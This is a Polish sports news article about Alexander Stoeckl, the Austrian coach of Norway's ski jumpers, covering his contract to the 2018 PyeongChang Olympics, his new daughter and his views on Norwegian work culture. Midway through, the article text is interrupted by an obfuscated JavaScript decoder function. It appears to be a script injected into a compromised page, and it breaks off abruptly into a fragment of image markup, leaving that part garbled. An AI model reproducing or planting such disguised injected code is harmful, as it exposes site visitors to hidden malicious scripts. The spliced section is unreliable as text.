You are currently viewing Jak maluje się przyszłość Stoeckla? „Pewien etap zakończy się po Igrzyskach”
Alexander Stöckl (fot. Bartosz Leja)

Jak maluje się przyszłość Stoeckla? „Pewien etap zakończy się po Igrzyskach”

Jak wiemy, Alexander Stoeckl dzięki wielu sukcesom i satysfakcjonującej współpracy jest związany kontraktem z norweską ekipą aż do Zimowych Igrzysk Olimpijskich w koreańskim PyeongChang. Do tego czasu pozostały jeszcze dwa sezony. Co jednak stanie się z utytułowanym szkoleniowcem z Austrii po sezonie 2017/2018?

 

– Myślę etapami. Pewien etap w moim życiu zakończy się po igrzyskach olimpijskich w PyeongChang. – mówi szkoleniowiec Norwegów, dodając: – Po nich zdecyduję, jak długo jeszcze ja i moja rodzina pozostaniemy w Norwegii.

DSC 0064 - Jak maluje się przyszłość Stoeckla? "Pewien etap zakończy się po Igrzyskach"
Norwegowie z Pucharem Narodów za sezon 2015/2016, fot. Bartosz Leja

Alexander Stoeckl przejął pieczę nad drużyną Wikingów 23 marca 2011 roku, zastępując wówczas doświadczonego Mikę Kojonkoskiego. Od tamtego czasu pochodzący z Austrii trener mieszka w Skandynawii, nauczył się nawet języka norweskiego na takim poziomie, aby komunikować się ze swoimi podopiecznymi oraz dziennikarzami. – Uważam, że każdy na swój sposób tęskni za ojczyzną – wyznaje jednak 43-latek. – I chociaż nie ma dużej różnicy pomiędzy Austrią a Norwegią, to właśnie w ojczyźnie mam rodzinę i większość przyjaciół – przyznaje.

Dodajmy, że wiele zmieniło się w życiu popularnego szkoleniowca, odkąd 24 marca został ojcem. Na świat przyszła jego córeczka, Isabell, która momentalnie stała się jego oczkiem w głowie. Można się zastanawiać, jak sytuacja potoczy się, kiedy dziecko podrośnie i będzie w wieku szkolnym. Czy będzie korzystało z norweskiej edukacji? Sam Stoeckl przyznaje, że nie wybiegał jeszcze w aż tak daleką przyszłość, a decyzje będą podejmowane na bieżąco.

– Prawda jest taka, że bardzo cieszę się tym, że mogę mieszkać w Norwegii, ale jednocześnie czuję, że ludzie są tu rozpieszczani. To kultura, w której wszystko działa tak perfekcyjnie – zauważa. – Kiedy żyjesz tutaj, dobrze, abyś miał pięć rzeczy: dzieci, samochód, dom, chatkę i łódź – dodaje.

- Jak maluje się przyszłość Stoeckla? "Pewien etap zakończy się po Igrzyskach"function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Stoeckl fot. Katarzyna Duda" src="http://www.skokipolska.pl/wp-content/uploads/2012/11/stockl_alex_katduda-300x200.jpg" alt="Alexander Stoeckl fot. Katarzyna Duda" width="300" height="200" /> Alexander Stoeckl, fot. Katarzyna Duda

Stoeckl dzieli się również swoimi spostrzeżeniami na temat norweskiego sposobu życia i podejścia do pracy zawodowej. Przyznaje, że w wielu aspektach oczekiwania względem osiągnięć ludzi są bardzo niskie. Natychmiast zaznacza jednak, że nie dotyczy to oczywiście kwestii sportowych, natomiast przejawia się w szeroko pojętym biznesie. Godne pochwały jest jednak podejście do bezpieczeństwa pracownika zajmującego określone stanowisko i jego wolności słowa. – W Austrii, jeśli zrobisz coś głupiego jako pracownik, zostajesz automatycznie zwolniony. W Norwegii natomiast, żeby zostać wyrzuconym z pracy, musisz niemal kogoś zabić, zrobić coś bardzo nielegalnego – tłumaczy. – Tutaj ludzie czują się bardzo bezpiecznie, zajmując konkretną posadę – mówi.

Na razie nie wiadomo, jakie decyzje podejmie Austriak. Pewnym jest jednak, że jeszcze przynajmniej do najważniejszego wydarzenia w sezonie 2017/2018 będziemy oglądać go dzierżącego norweską flagę, dając kolejnym zawodnikom sygnał do startu.

 

źródło: nettavisen.no

 

Dodaj komentarz